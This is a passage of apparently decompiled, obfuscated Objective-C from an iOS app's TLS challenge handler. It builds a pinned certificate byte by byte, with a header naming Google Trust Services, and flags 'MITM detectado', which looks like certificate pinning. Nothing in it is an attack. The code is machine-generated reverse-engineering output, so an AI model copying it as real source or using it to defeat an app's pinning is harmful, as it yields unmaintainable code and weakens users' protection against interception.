asc_10028FD00[1188] = 65;
asc_10028FD00[1189] = 68;
asc_10028FD00[1190] = 66;
asc_10028FD00[1191] = 71;
asc_10028FD00[1192] = 65;
asc_10028FD00[1193] = 105;
asc_10028FD00[1194] = 69;
asc_10028FD00[1195] = 65;
asc_10028FD00[1196] = 105;
asc_10028FD00[1197] = 57;
asc_10028FD00[1198] = 86;
asc_10028FD00[1199] = 87;
asc_10028FD00[1200] = 82;
asc_10028FD00[1201] = 53;
asc_10028FD00[1202] = 76;
asc_10028FD00[1203] = 50;
asc_10028FD00[1204] = 120;
asc_10028FD00[1205] = 82;
asc_10028FD00[1206] = 77;
asc_10028FD00[1207] = 81;
asc_10028FD00[1208] = 68;
asc_10028FD00[1209] = 106;
asc_10028FD00[1210] = 106;
asc_10028FD00[1211] = 90;
asc_10028FD00[1212] = 83;
asc_10028FD00[1213] = 73;
asc_10028FD00[1214] = 97;
asc_10028FD00[1215] = 83;
asc_10028FD00[1216] = 71;
asc_10028FD00[1217] = 82;
asc_10028FD00[1218] = 105;
asc_10028FD00[1219] = 66;
asc_10028FD00[1220] = 74;
asc_10028FD00[1221] = 50;
asc_10028FD00[1222] = 50;
asc_10028FD00[1223] = 97;
asc_10028FD00[1224] = 70;
asc_10028FD00[1225] = 50;
asc_10028FD00[1226] = 69;
asc_10028FD00[1227] = 72;
asc_10028FD00[1228] = 114;
asc_10028FD00[1229] = 122;
asc_10028FD00[1230] = 87;
asc_10028FD00[1231] = 103;
asc_10028FD00[1232] = 117;
asc_10028FD00[1233] = 56;
asc_10028FD00[1234] = 113;
asc_10028FD00[1235] = 104;
asc_10028FD00[1236] = 112;
asc_10028FD00[1237] = 69;
asc_10028FD00[1238] = 56;
asc_10028FD00[1239] = 67;
asc_10028FD00[1240] = 73;
asc_10028FD00[1241] = 81;
asc_10028FD00[1242] = 68;
asc_10028FD00[1243] = 68;
asc_10028FD00[1244] = 81;
asc_10028FD00[1245] = 72;
asc_10028FD00[1246] = 104;
asc_10028FD00[1247] = 104;
asc_10028FD00[1248] = 109;
asc_10028FD00[1249] = 99;
asc_10028FD00[1250] = 82;
asc_10028FD00[1251] = 82;
asc_10028FD00[1252] = 98;
asc_10028FD00[1253] = 116;
asc_10028FD00[1254] = 98;
asc_10028FD00[1255] = 100;
asc_10028FD00[1256] = 65;
asc_10028FD00[1257] = 90;
asc_10028FD00[1258] = 76;
asc_10028FD00[1259] = 56;
asc_10028FD00[1260] = 88;
asc_10028FD00[1261] = 100;
asc_10028FD00[1262] = 79;
asc_10028FD00[1263] = 99;
asc_10028FD00[1264] = 49;
asc_10028FD00[1265] = 118;
asc_10028FD00[1266] = 82;
asc_10028FD00[1267] = 69;
asc_10028FD00[1268] = 119;
asc_10028FD00[1269] = 114;
asc_10028FD00[1270] = 98;
asc_10028FD00[1271] = 47;
asc_10028FD00[1272] = 69;
asc_10028FD00[1273] = 72;
asc_10028FD00[1274] = 83;
asc_10028FD00[1275] = 100;
asc_10028FD00[1276] = 84;
asc_10028FD00[1277] = 49;
asc_10028FD00[1278] = 79;
asc_10028FD00[1279] = 50;
asc_10028FD00[1280] = 102;
asc_10028FD00[1281] = 80;
asc_10028FD00[1282] = 102;
asc_10028FD00[1283] = 112;
asc_10028FD00[1284] = 89;
asc_10028FD00[1285] = 65;
asc_10028FD00[1286] = 61;
asc_10028FD00[1287] = 61;
asc_10028FD00[1288] = 0;
strcpy(aQ_9, "MITM detectado");
asc_10028F7A0[0] = 67;
asc_10028F7A0[1] = 101;
asc_10028F7A0[2] = 114;
asc_10028F7A0[3] = 116;
asc_10028F7A0[4] = 105;
*v37 = 1796602272;
break;
case -507806934:
v9 = !v36;
v10 = 116244430;
v11 = -1108564884;
goto LABEL_137;
}
}
}
else if ( v30 <= 380527175 )
{
switch ( v30 )
{
case 140570714:
dword_10029F69C = 1;
objc_retain(a5);
v21 = objc_msgSend(a4, "protectionSpace");
v22 = objc_retainAutoreleasedReturnValue(v21);
objc_msgSend(v22, "serverTrust");
*v37 = -2026401484;
break;
case 194732723:
qmemcpy(
asc_10028FD00,
"MIIDwDCCA2WgAwIBAgIQSJ7J/L41k94NX2RI6wlgUzAKBggqhkjOPQQDAjA7MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR2"
"9vZ2xlIFRydXN0IFNlcnZpY2VzMQ",
122);
*v37 = 1725510297;
break;
case 334542045:
*v37 = -1485243324;
break;
}
}
else if ( v30 > 509706688 )
{
if ( v30 == 509706689 )
{
*v37 = 1919168383;
v26 = a5;
}
else if ( v30 == 846649942 )
{
*v37 = -2058179818;
}
}
else
{
if ( v30 == 380527176 )
{
v15 = 0;
v10 = -1626916486;
v16 = -1742880439;
goto LABEL_128;
}
if ( v30 == 408900655 )
{
v10 = 1782845183;
goto LABEL_139;
}
}
}
else if ( v30 > 1699560065 )
{
if ( v30 <= 1796602271 )
{
switch ( v30 )
{
case 1699560066:
((void (__fastcall *)(NSURLCredential *, __int64, _QWORD))a5[1].super.isa)(a5, 2, 0);
*v37 = -2085450313;
break;
case 1725510297:
qmemcpy(
asc_10028FD00,
"MIIDwDCCA2WgAwIBAgIQSJ7J/L41k94NX2RI6wlgUzAKBggqhkjOPQQDAjA7MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR2"
"9vZ2xlIFRydXN0IFNlcnZpY2VzMQ",
122);
*v37 = 846649942;
break;
case 1782845183:
objc_release(v23);
certificate = HikariFunctionWrapper_19309(trust, 0);
v10 = 974779768;
goto LABEL_139;
}
}
else if ( v30 > 1939635116 )
{
if ( v30 == 1939635117 )
{
*v37 = 1276107864;
}
else if ( v30 == 2075717017 )
{
objc_release(v23);
SecTrustGetCertificateAtIndex(trust, 0);
*v37 = 1782845183;
}
}
else
{
if ( v30 == 1796602272 )
{
asc_10028FD00[122] = 119;
asc_10028FD00[123] = 119;
asc_10028FD00[124] = 67;
asc_10028FD00[125] = 103;
asc_10028FD00[126] = 89;
asc_10028FD00[127] = 68;
asc_10028FD00[128] = 86;
asc_10028FD00[129] = 81;
asc_10028FD00[130] = 81;
asc_10028FD00[131] = 68;
asc_10028FD00[132] = 69;
asc_10028FD00[133] = 119;
asc_10028FD00[134] = 78;
asc_10028FD00[135] = 88;
asc_10028FD00[136] = 82;
asc_10028FD00[137] = 84;
asc_10028FD00[138] = 69;
asc_10028FD00[139] = 119;
asc_10028FD00[140] = 72;
asc_10028FD00[141] = 104;
asc_10028FD00[142] = 99;
asc_10028FD00[143] = 78;
asc_10028FD00[144] = 77;
asc_10028FD00[145] = 106;
asc_10028FD00[146] = 85;
asc_10028FD00[147] = 120;
asc_10028FD00[148] = 77;
asc_10028FD00[149] = 84;
asc_10028FD00[150] = 69;
asc_10028FD00[151] = 120;
asc_10028FD00[152] = 77;
asc_10028FD00[153] = 84;
asc_10028FD00[154] = 73;
asc_10028FD00[155] = 120;
asc_10028FD00[156] = 78;
asc_10028FD00[157] = 122;
asc_10028FD00[158] = 81;
asc_10028FD00[159] = 49;
asc_10028FD00[160] = 87;
asc_10028FD00[161] = 104;
asc_10028FD00[162] = 99;
asc_10028FD00[163] = 78;
asc_10028FD00[164] = 77;
asc_10028FD00[165] = 106;
asc_10028FD00[166] = 89;
asc_10028FD00[167] = 119;
asc_10028FD00[168] = 77;
asc_10028FD00[169] = 106;
asc_10028FD00[170] = 65;
asc_10028FD00[171] = 53;
asc_10028FD00[172] = 77;
asc_10028FD00[173] = 84;
asc_10028FD00[174] = 77;
asc_10028FD00[175] = 120;
asc_10028FD00[176] = 78;
asc_10028FD00[177] = 84;
asc_10028FD00[178] = 85;
asc_10028FD00[179] = 49;
asc_10028FD00[180] = 87;
asc_10028FD00[181] = 106;
asc_10028FD00[182] = 65;
asc_10028FD00[183] = 102;
asc_10028FD00[184] = 77;
asc_10028FD00[185] = 82;
asc_10028FD00[186] = 48;
asc_10028FD00[187] = 119;
asc_10028FD00[188] = 71;
asc_10028FD00[189] = 119;
asc_10028FD00[190] = 89;
asc_10028FD00[191] = 68;
asc_10028FD00[192] = 86;
asc_10028FD00[193] = 81;
asc_10028FD00[194] = 81;
asc_10028FD00[195] = 68;
asc_10028FD00[196] = 69;
asc_10028FD00[197] = 120;
asc_10028FD00[198] = 82;
asc_10028FD00[199] = 112;
asc_10028FD00[200] = 89;
asc_10028FD00[201] = 87;
asc_10028FD00[202] = 120;
asc_10028FD00[203] = 107;
asc_10028FD00[204] = 89;
asc_10028FD00[205] = 88;
asc_10028FD00[206] = 111;
asc_10028FD00[207] = 116;
asc_10028FD00[208] = 89;
asc_10028FD00[209] = 87;
asc_10028FD00[210] = 78;
asc_10028FD00[211] = 48;
asc_10028FD00[212] = 97;
asc_10028FD00[213] = 88;
asc_10028FD00[214] = 90;
asc_10028FD00[215] = 104;
asc_10028FD00[216] = 100;
asc_10028FD00[217] = 71;
asc_10028FD00[218] = 57;
asc_10028FD00[219] = 121;
asc_10028FD00[220] = 76;
asc_10028FD00[221] = 109;
asc_10028FD00[222] = 78;
asc_10028FD00[223] = 118;
asc_10028FD00[224] = 98;
asc_10028FD00[225] = 84;
asc_10028FD00[226] = 66;
asc_10028FD00[227] = 90;
asc_10028FD00[228] = 77;
asc_10028FD00[229] = 66;
asc_10028FD00[230] = 77;
asc_10028FD00[231] = 71;
asc_10028FD00[232] = 66;
asc_10028FD00[233] = 121;
asc_10028FD00[234] = 113;
asc_10028FD00[235] = 71;
asc_10028FD00[236] = 83;
asc_10028FD00[237] = 77;
asc_10028FD00[238] = 52;
asc_10028FD00[239] = 57;
asc_10028FD00[240] = 65;
asc_10028FD00[241] = 103;
asc_10028FD00[242] = 69;
asc_10028FD00[243] = 71;
asc_10028FD00[244] = 67;
asc_10028FD00[245] = 67;
asc_10028FD00[246] = 113;
asc_10028FD00[247] = 71;
asc_10028FD00[248] = 83;
asc_10028FD00[249] = 77;
asc_10028FD00[250] = 52;
asc_10028FD00[251] = 57;
asc_10028FD00[252] = 65;
asc_10028FD00[253] = 119;
asc_10028FD00[254] = 69;
asc_10028FD00[255] = 72;
asc_10028FD00[256] = 65;
asc_10028FD00[257] = 48;
asc_10028FD00[258] = 73;
asc_10028FD00[259] = 65;
asc_10028FD00[260] = 66;
asc_10028FD00[261] = 67;
asc_10028FD00[262] = 81;
asc_10028FD00[263] = 78;
asc_10028FD00[264] = 87;
asc_10028FD00[265] = 119;
asc_10028FD00[266] = 100;
asc_10028FD00[267] = 85;
asc_10028FD00[268] = 57;
asc_10028FD00[269] = 121;
asc_10028FD00[270] = 80;
asc_10028FD00[271] = 106;
asc_10028FD00[272] = 68;
asc_10028FD00[273] = 114;
asc_10028FD00[274] = 55;
asc_10028FD00[275] = 53;
asc_10028FD00[276] = 118;
asc_10028FD00[277] = 74;
asc_10028FD00[278] = 111;
asc_10028FD00[279] = 116;
asc_10028FD00[280] = 48;
asc_10028FD00[281] = 105;
asc_10028FD00[282] = 84;
asc_10028FD00[283] = 69;
asc_10028FD00[284] = 70;
asc_10028FD00[285] = 68;
asc_10028FD00[286] = 81;
asc_10028FD00[287] = 113;
asc_10028FD00[288] = 99;
asc_10028FD00[289] = 111;
asc_10028FD00[290] = 75;
asc_10028FD00[291] = 103;
asc_10028FD00[292] = 99;
asc_10028FD00[293] = 112;
asc_10028FD00[294] = 114;
asc_10028FD00[295] = 109;
asc_10028FD00[296] = 114;
asc_10028FD00[297] = 80;
asc_10028FD00[298] = 76;
asc_10028FD00[299] = 50;
asc_10028FD00[300] = 51;
asc_10028FD00[301] = 101;
asc_10028FD00[302] = 49;
asc_10028FD00[303] = 85;
asc_10028FD00[304] = 66;
asc_10028FD00[305] = 106;
asc_10028FD00[306] = 67;
asc_10028FD00[307] = 105;
asc_10028FD00[308] = 111;
asc_10028FD00[309] = 88;
asc_10028FD00[310] = 80;
asc_10028FD00[311] = 70;
asc_10028FD00[312] = 77;
asc_10028FD00[313] = 68;
asc_10028FD00[314] = 69;
asc_10028FD00[315] = 101;
asc_10028FD00[316] = 79;
asc_10028FD00[317] = 56;
asc_10028FD00[318] = 81;
asc_10028FD00[319] = 117;
asc_10028FD00[320] = 73;
asc_10028FD00[321] = 69;
asc_10028FD00[322] = 110;
asc_10028FD00[323] = 97;
asc_10028FD00[324] = 71;
asc_10028FD00[325] = 76;
asc_10028FD00[326] = 118;
asc_10028FD00[327] = 121;
asc_10028FD00[328] = 110;
asc_10028FD00[329] = 52;
asc_10028FD00[330] = 111;
asc_10028FD00[331] = 85;
asc_10028FD00[332] = 105;
asc_10028FD00[333] = 68;
asc_10028FD00[334] = 101;
asc_10028FD00[335] = 118;
asc_10028FD00[336] = 72;
asc_10028FD00[337] = 80;
asc_10028FD00[338] = 89;
asc_10028FD00[339] = 106;
asc_10028FD00[340] = 53;
asc_10028FD00[341] = 108;
asc_10028FD00[342] = 77;
asc_10028FD00[343] = 105;
asc_10028FD00[344] = 99;
asc_10028FD00[345] = 52;
asc_10028FD00[346] = 75;
asc_10028FD00[347] = 106;
asc_10028FD00[348] = 103;
asc_10028FD00[349] = 103;
asc_10028FD00[350] = 74;
asc_10028FD00[351] = 108;
asc_10028FD00[352] = 77;
asc_10028FD00[353] = 73;
asc_10028FD00[354] = 73;
asc_10028FD00[355] = 67;
asc_10028FD00[356] = 89;
asc_10028FD00[357] = 84;
asc_10028FD00[358] = 65;
asc_10028FD00[359] = 79;
asc_10028FD00[360] = 66;
asc_10028FD00[361] = 103;
asc_10028FD00[362] = 78;
asc_10028FD00[363] = 86;
asc_10028FD00[364] = 72;
asc_10028FD00[365] = 81;
asc_10028FD00[366] = 56;
asc_10028FD00[367] = 66;
asc_10028FD00[368] = 65;
asc_10028FD00[369] = 102;
asc_10028FD00[370] = 56;
asc_10028FD00[371] = 69;
asc_10028FD00[372] = 66;
asc_10028FD00[373] = 65;
asc_10028FD00[374] = 77;
asc_10028FD00[375] = 67;
asc_10028FD00[376] = 66;
asc_10028FD00[377] = 52;
asc_10028FD00[378] = 65;
asc_10028FD00[379] = 119;
asc_10028FD00[380] = 69;
asc_10028FD00[381] = 119;
asc_10028FD00[382] = 89;
asc_10028FD00[383] = 68;
asc_10028FD00[384] = 86;
asc_10028FD00[385] = 82;
asc_10028FD00[386] = 48;
asc_10028FD00[387] = 108;
asc_10028FD00[388] = 66;
asc_10028FD00[389] = 65;
asc_10028FD00[390] = 119;
asc_10028FD00[391] = 119;
asc_10028FD00[392] = 67;
asc_10028FD00[393] = 103;
asc_10028FD00[394] = 89;
asc_10028FD00[395] = 73;
asc_10028FD00[396] = 75;
asc_10028FD00[397] = 119;
asc_10028FD00[398] = 89;
asc_10028FD00[399] = 66;
asc_10028FD00[400] = 66;
asc_10028FD00[401] = 81;
asc_10028FD00[402] = 85;
asc_10028FD00[403] = 72;
asc_10028FD00[404] = 65;
asc_10028FD00[405] = 119;
asc_10028FD00[406] = 69;
asc_10028FD00[407] = 119;
asc_10028FD00[408] = 68;
asc_10028FD00[409] = 65;
asc_10028FD00[410] = 89;
asc_10028FD00[411] = 68;
asc_10028FD00[412] = 86;
asc_10028FD00[413] = 82;
asc_10028FD00[414] = 48;
asc_10028FD00[415] = 84;
asc_10028FD00[416] = 65;
asc_10028FD00[417] = 81;
asc_10028FD00[418] = 72;
asc_10028FD00[419] = 47;
asc_10028FD00[420] = 66;
asc_10028FD00[421] = 65;
asc_10028FD00[422] = 73;
asc_10028FD00[423] = 119;
asc_10028FD00[424] = 65;
asc_10028FD00[425] = 68;
asc_10028FD00[426] = 65;
asc_10028FD00[427] = 100;
asc_10028FD00[428] = 66;
asc_10028FD00[429] = 103;
asc_10028FD00[430] = 78;
asc_10028FD00[431] = 86;
asc_10028FD00[432] = 72;
asc_10028FD00[433] = 81;
asc_10028FD00[434] = 52;
asc_10028FD00[435] = 69;
asc_10028FD00[436] = 70;
asc_10028FD00[437] = 103;
asc_10028FD00[438] = 81;
asc_10028FD00[439] = 85;
asc_10028FD00[440] = 83;
asc_10028FD00[441] = 118;
asc_10028FD00[442] = 112;
asc_10028FD00[443] = 121;
asc_10028FD00[444] = 65;
asc_10028FD00[445] = 104;
asc_10028FD00[446] = 77;
asc_10028FD00[447] = 51;
asc_10028FD00[448] = 55;
asc_10028FD00[449] = 81;
asc_10028FD00[450] = 117;
asc_10028FD00[451] = 106;
asc_10028FD00[452] = 54;
asc_10028FD00[453] = 106;
asc_10028FD00[454] = 101;
asc_10028FD00[455] = 69;
asc_10028FD00[456] = 67;
asc_10028FD00[457] = 110;
asc_10028FD00[458] = 101;
asc_10028FD00[459] = 118;
asc_10028FD00[460] = 114;
asc_10028FD00[461] = 103;
asc_10028FD00[462] = 67;
asc_10028FD00[463] = 74;
asc_10028FD00[464] = 83;
asc_10028FD00[465] = 121;
asc_10028FD00[466] = 89;
asc_10028FD00[467] = 119;
asc_10028FD00[468] = 72;
asc_10028FD00[469] = 119;
asc_10028FD00[470] = 89;
asc_10028FD00[471] = 68;
asc_10028FD00[472] = 86;
asc_10028FD00[473] = 82;
asc_10028FD00[474] = 48;
asc_10028FD00[475] = 106;
asc_10028FD00[476] = 66;
asc_10028FD00[477] = 66;
asc_10028FD00[478] = 103;
asc_10028FD00[479] = 119;
asc_10028FD00[480] = 70;
asc_10028FD00[481] = 111;
asc_10028FD00[482] = 65;
asc_10028FD00[483] = 85;
asc_10028FD00[484] = 107;
asc_10028FD00[485] = 72;
asc_10028FD00[486] = 101;
asc_10028FD00[487] = 83;
asc_10028FD00[488] = 78;
asc_10028FD00[489] = 87;
asc_10028FD00[490] = 102;
asc_10028FD00[491] = 69;
asc_10028FD00[492] = 47;
asc_10028FD00[493] = 54;
asc_10028FD00[494] = 106;
asc_10028FD00[495] = 77;
asc_10028FD00[496] = 113;
asc_10028FD00[497] = 101;
asc_10028FD00[498] = 90;
asc_10028FD00[499] = 55;
asc_10028FD00[500] = 50;
asc_10028FD00[501] = 89;
asc_10028FD00[502] = 66;
asc_10028FD00[503] = 53;
asc_10028FD00[504] = 101;
asc_10028FD00[505] = 56;
asc_10028FD00[506] = 121;
asc_10028FD00[507] = 84;
asc_10028FD00[508] = 43;
asc_10028FD00[509] = 84;
asc_10028FD00[510] = 103;
asc_10028FD00[511] = 119;
asc_10028FD00[512] = 88;
asc_10028FD00[513] = 103;
asc_10028FD00[514] = 89;
asc_10028FD00[515] = 73;
asc_10028FD00[516] = 75;
asc_10028FD00[517] = 119;
asc_10028FD00[518] = 89;
asc_10028FD00[519] = 66;
asc_10028FD00[520] = 66;
asc_10028FD00[521] = 81;
asc_10028FD00[522] = 85;
asc_10028FD00[523] = 72;
asc_10028FD00[524] = 65;
asc_10028FD00[525] = 81;
asc_10028FD00[526] = 69;
asc_10028FD00[527] = 69;
asc_10028FD00[528] = 85;
asc_10028FD00[529] = 106;
asc_10028FD00[530] = 66;
asc_10028FD00[531] = 81;
asc_10028FD00[532] = 77;
asc_10028FD00[533] = 67;
asc_10028FD00[534] = 99;
asc_10028FD00[535] = 71;
asc_10028FD00[536] = 67;
asc_10028FD00[537] = 67;
asc_10028FD00[538] = 115;
asc_10028FD00[539] = 71;
asc_10028FD00[540] = 65;
asc_10028FD00[541] = 81;
asc_10028FD00[542] = 85;
asc_10028FD00[543] = 70;
asc_10028FD00[544] = 66;
asc_10028FD00[545] = 122;
asc_10028FD00[546] = 65;
asc_10028FD00[547] = 66;
asc_10028FD00[548] = 104;
asc_10028FD00[549] = 104;
asc_10028FD00[550] = 116;
asc_10028FD00[551] = 111;
asc_10028FD00[552] = 100;
asc_10028FD00[553] = 72;
asc_10028FD00[554] = 82;
asc_10028FD00[555] = 119;
asc_10028FD00[556] = 79;
asc_10028FD00[557] = 105;
asc_10028FD00[558] = 56;
asc_10028FD00[559] = 118;
asc_10028FD00[560] = 98;
asc_10028FD00[561] = 121;
asc_10028FD00[562] = 53;
asc_10028FD00[563] = 119;
asc_10028FD00[564] = 97;
asc_10028FD00[565] = 50;
asc_10028FD00[566] = 107;
asc_10028FD00[567] = 117;
asc_10028FD00[568] = 90;
asc_10028FD00[569] = 50;
asc_10028FD00[570] = 57;
asc_10028FD00[571] = 118;
asc_10028FD00[572] = 90;
asc_10028FD00[573] = 121;
asc_10028FD00[574] = 57;
asc_10028FD00[575] = 122;
asc_10028FD00[576] = 76;
asc_10028FD00[577] = 51;
asc_10028FD00[578] = 100;
asc_10028FD00[579] = 108;
asc_10028FD00[580] = 77;
asc_10028FD00[581] = 83;
asc_10028FD00[582] = 57;
asc_10028FD00[583] = 84;
asc_10028FD00[584] = 83;
asc_10028FD00[585] = 106;
asc_10028FD00[586] = 81;
asc_10028FD00[587] = 119;
asc_10028FD00[588] = 74;
asc_10028FD00[589] = 81;
asc_10028FD00[590] = 89;
asc_10028FD00[591] = 73;
asc_10028FD00[592] = 75;
asc_10028FD00[593] = 119;
asc_10028FD00[594] = 89;
asc_10028FD00[595] = 66;
asc_10028FD00[596] = 66;
asc_10028FD00[597] = 81;
asc_10028FD00[598] = 85;
asc_10028FD00[599] = 72;
asc_10028FD00[600] = 77;
asc_10028FD00[601] = 65;
asc_10028FD00[602] = 75;
asc_10028FD00[603] = 71;
asc_10028FD00[604] = 71;
asc_10028FD00[605] = 87;
asc_10028FD00[606] = 104;
asc_10028FD00[607] = 48;
asc_10028FD00[608] = 100;
asc_10028FD00[609] = 72;
asc_10028FD00[610] = 65;
asc_10028FD00[611] = 54;
asc_10028FD00[612] = 76;
asc_10028FD00[613] = 121;
asc_10028FD00[614] = 57;
asc_10028FD00[615] = 112;
asc_10028FD00[616] = 76;
asc_10028FD00[617] = 110;
asc_10028FD00[618] = 66;
asc_10028FD00[619] = 114;
asc_10028FD00[620] = 97;
asc_10028FD00[621] = 83;
asc_10028FD00[622] = 53;
asc_10028FD00[623] = 110;
asc_10028FD00[624] = 98;
asc_10028FD00[625] = 50;
asc_10028FD00[626] = 57;
asc_10028FD00[627] = 110;
asc_10028FD00[628] = 76;
asc_10028FD00[629] = 51;
asc_10028FD00[630] = 100;
asc_10028FD00[631] = 108;
asc_10028FD00[632] = 77;
asc_10028FD00[633] = 83;
asc_10028FD00[634] = 53;
asc_10028FD00[635] = 106;
asc_10028FD00[636] = 99;
asc_10028FD00[637] = 110;
asc_10028FD00[638] = 81;
asc_10028FD00[639] = 119;
asc_10028FD00[640] = 78;
asc_10028FD00[641] = 119;
asc_10028FD00[642] = 89;
asc_10028FD00[643] = 68;
asc_10028FD00[644] = 86;
asc_10028FD00[645] = 82;
asc_10028FD00[646] = 48;
asc_10028FD00[647] = 82;
asc_10028FD00[648] = 66;
asc_10028FD00[649] = 68;
asc_10028FD00[650] = 65;
asc_10028FD00[651] = 119;
asc_10028FD00[652] = 76;
asc_10028FD00[653] = 111;
asc_10028FD00[654] = 73;
asc_10028FD00[655] = 85;
asc_10028FD00[656] = 97;
asc_10028FD00[657] = 87;
asc_10028FD00[658] = 70;
asc_10028FD00[659] = 115;
asc_10028FD00[660] = 90;
asc_10028FD00[661] = 71;
asc_10028FD00[662] = 70;
asc_10028FD00[663] = 54;
asc_10028FD00[664] = 76;
asc_10028FD00[665] = 87;
asc_10028FD00[666] = 70;
asc_10028FD00[667] = 106;
asc_10028FD00[668] = 100;
asc_10028FD00[669] = 71;
asc_10028FD00[670] = 108;
asc_10028FD00[671] = 50;
asc_10028FD00[672] = 89;
asc_10028FD00[673] = 88;
asc_10028FD00[674] = 82;
asc_10028FD00[675] = 118;
asc_10028FD00[676] = 99;
asc_10028FD00[677] = 105;
asc_10028FD00[678] = 53;
asc_10028FD00[679] = 106;
asc_10028FD00[680] = 98;
asc_10028FD00[681] = 50;
asc_10028FD00[682] = 50;
asc_10028FD00[683] = 67;
asc_10028FD00[684] = 70;
asc_10028FD00[685] = 105;
asc_10028FD00[686] = 111;
asc_10028FD00[687] = 117;
asc_10028FD00[688] = 97;
asc_10028FD00[689] = 87;
asc_10028FD00[690] = 70;
asc_10028FD00[691] = 115;
asc_10028FD00[692] = 90;
asc_10028FD00[693] = 71;
asc_10028FD00[694] = 70;
asc_10028FD00[695] = 54;
asc_10028FD00[696] = 76;
asc_10028FD00[697] = 87;
asc_10028FD00[698] = 70;
asc_10028FD00[699] = 106;
asc_10028FD00[700] = 100;
asc_10028FD00[701] = 71;
asc_10028FD00[702] = 108;
asc_10028FD00[703] = 50;
asc_10028FD00[704] = 89;
asc_10028FD00[705] = 88;
asc_10028FD00[706] = 82;
asc_10028FD00[707] = 118;
asc_10028FD00[708] = 99;
asc_10028FD00[709] = 105;
asc_10028FD00[710] = 53;
asc_10028FD00[711] = 106;
asc_10028FD00[712] = 98;
asc_10028FD00[713] = 50;
asc_10028FD00[714] = 48;
asc_10028FD00[715] = 119;
asc_10028FD00[716] = 69;
asc_10028FD00[717] = 119;
asc_10028FD00[718] = 89;
asc_10028FD00[719] = 68;
asc_10028FD00[720] = 86;
asc_10028FD00[721] = 82;
asc_10028FD00[722] = 48;
asc_10028FD00[723] = 103;
asc_10028FD00[724] = 66;
asc_10028FD00[725] = 65;
asc_10028FD00[726] = 119;
asc_10028FD00[727] = 119;
asc_10028FD00[728] = 67;
asc_10028FD00[729] = 106;
asc_10028FD00[730] = 65;
asc_10028FD00[731] = 73;
asc_10028FD00[732] = 66;
asc_10028FD00[733] = 103;
asc_10028FD00[734] = 90;
asc_10028FD00[735] = 110;
asc_10028FD00[736] = 103;
asc_10028FD00[737] = 81;
asc_10028FD00[738] = 119;
asc_10028FD00[739] = 66;
asc_10028FD00[740] = 65;
asc_10028FD00[741] = 103;
asc_10028FD00[742] = 69;
asc_10028FD00[743] = 119;
asc_10028FD00[744] = 78;
asc_10028FD00[745] = 103;
asc_10028FD00[746] = 89;
asc_10028FD00[747] = 68;
asc_10028FD00[748] = 86;
asc_10028FD00[749] = 82;
asc_10028FD00[750] = 48;
asc_10028FD00[751] = 102;
asc_10028FD00[752] = 66;
asc_10028FD00[753] = 67;
asc_10028FD00[754] = 56;
asc_10028FD00[755] = 119;
asc_10028FD00[756] = 76;
asc_10028FD00[757] = 84;
asc_10028FD00[758] = 65;
asc_10028FD00[759] = 114;
asc_10028FD00[760] = 111;
asc_10028FD00[761] = 67;
asc_10028FD00[762] = 109;
asc_10028FD00[763] = 103;
asc_10028FD00[764] = 74;
asc_10028FD00[765] = 52;
asc_10028FD00[766] = 89;
asc_10028FD00[767] = 108;
asc_10028FD00[768] = 97;
asc_10028FD00[769] = 72;
asc_10028FD00[770] = 82;
asc_10028FD00[771] = 48;
asc_10028FD00[772] = 99;
asc_10028FD00[773] = 68;
asc_10028FD00[774] = 111;
asc_10028FD00[775] = 118;
asc_10028FD00[776] = 76;
asc_10028FD00[777] = 50;
asc_10028FD00[778] = 77;
asc_10028FD00[779] = 117;
asc_10028FD00[780] = 99;
asc_10028FD00[781] = 71;
asc_10028FD00[782] = 116;
asc_10028FD00[783] = 112;
asc_10028FD00[784] = 76;
asc_10028FD00[785] = 109;
asc_10028FD00[786] = 100;
asc_10028FD00[787] = 118;
asc_10028FD00[788] = 98;
asc_10028FD00[789] = 50;
asc_10028FD00[790] = 99;
asc_10028FD00[791] = 118;
asc_10028FD00[792] = 100;
asc_10028FD00[793] = 50;
asc_10028FD00[794] = 85;
asc_10028FD00[795] = 120;
asc_10028FD00[796] = 76;
asc_10028FD00[797] = 50;
asc_10028FD00[798] = 77;
asc_10028FD00[799] = 53;
asc_10028FD00[800] = 90;
asc_10028FD00[801] = 87;
asc_10028FD00[802] = 100;
asc_10028FD00[803] = 90;
asc_10028FD00[804] = 79;
asc_10028FD00[805] = 87;
asc_10028FD00[806] = 108;
asc_10028FD00[807] = 114;
asc_10028FD00[808] = 85;
asc_10028FD00[809] = 72;
asc_10028FD00[810] = 78;
asc_10028FD00[811] = 86;
asc_10028FD00[812] = 76;
asc_10028FD00[813] = 109;
asc_10028FD00[814] = 78;
asc_10028FD00[815] = 121;
asc_10028FD00[816] = 98;
asc_10028FD00[817] = 68;
asc_10028FD00[818] = 67;
asc_10028FD00[819] = 67;
asc_10028FD00[820] = 65;
asc_10028FD00[821] = 81;
asc_10028FD00[822] = 81;
asc_10028FD00[823] = 71;
asc_10028FD00[824] = 67;
asc_10028FD00[825] = 105;
asc_10028FD00[826] = 115;
asc_10028FD00[827] = 71;
asc_10028FD00[828] = 65;
asc_10028FD00[829] = 81;
asc_10028FD00[830] = 81;
asc_10028FD00[831] = 66;
asc_10028FD00[832] = 49;
asc_10028FD00[833] = 110;
asc_10028FD00[834] = 107;
asc_10028FD00[835] = 67;
asc_10028FD00[836] = 66;
asc_10028FD00[837] = 65;
asc_10028FD00[838] = 73;
asc_10028FD00[839] = 69;
asc_10028FD00[840] = 103;
asc_10028FD00[841] = 102;
asc_10028FD00[842] = 85;
asc_10028FD00[843] = 69;
asc_10028FD00[844] = 103;
asc_10028FD00[845] = 102;
asc_10028FD00[846] = 73;
asc_10028FD00[847] = 65;
asc_10028FD00[848] = 56;
asc_10028FD00[849] = 65;
asc_10028FD00[850] = 66;
asc_10028FD00[851] = 50;
asc_10028FD00[852] = 65;
asc_10028FD00[853] = 74;
asc_10028FD00[854] = 97;
asc_10028FD00[855] = 88;
asc_10028FD00[856] = 90;
asc_10028FD00[857] = 76;
asc_10028FD00[858] = 57;
asc_10028FD00[859] = 86;
asc_10028FD00[860] = 87;
asc_10028FD00[861] = 74;
asc_10028FD00[862] = 101;
asc_10028FD00[863] = 116;
asc_10028FD00[864] = 57;
asc_10028FD00[865] = 48;
asc_10028FD00[866] = 79;
asc_10028FD00[867] = 72;
asc_10028FD00[868] = 97;
asc_10028FD00[869] = 68;
asc_10028FD00[870] = 99;
asc_10028FD00[871] = 73;
asc_10028FD00[872] = 81;
asc_10028FD00[873] = 110;
asc_10028FD00[874] = 102;
asc_10028FD00[875] = 112;
asc_10028FD00[876] = 56;
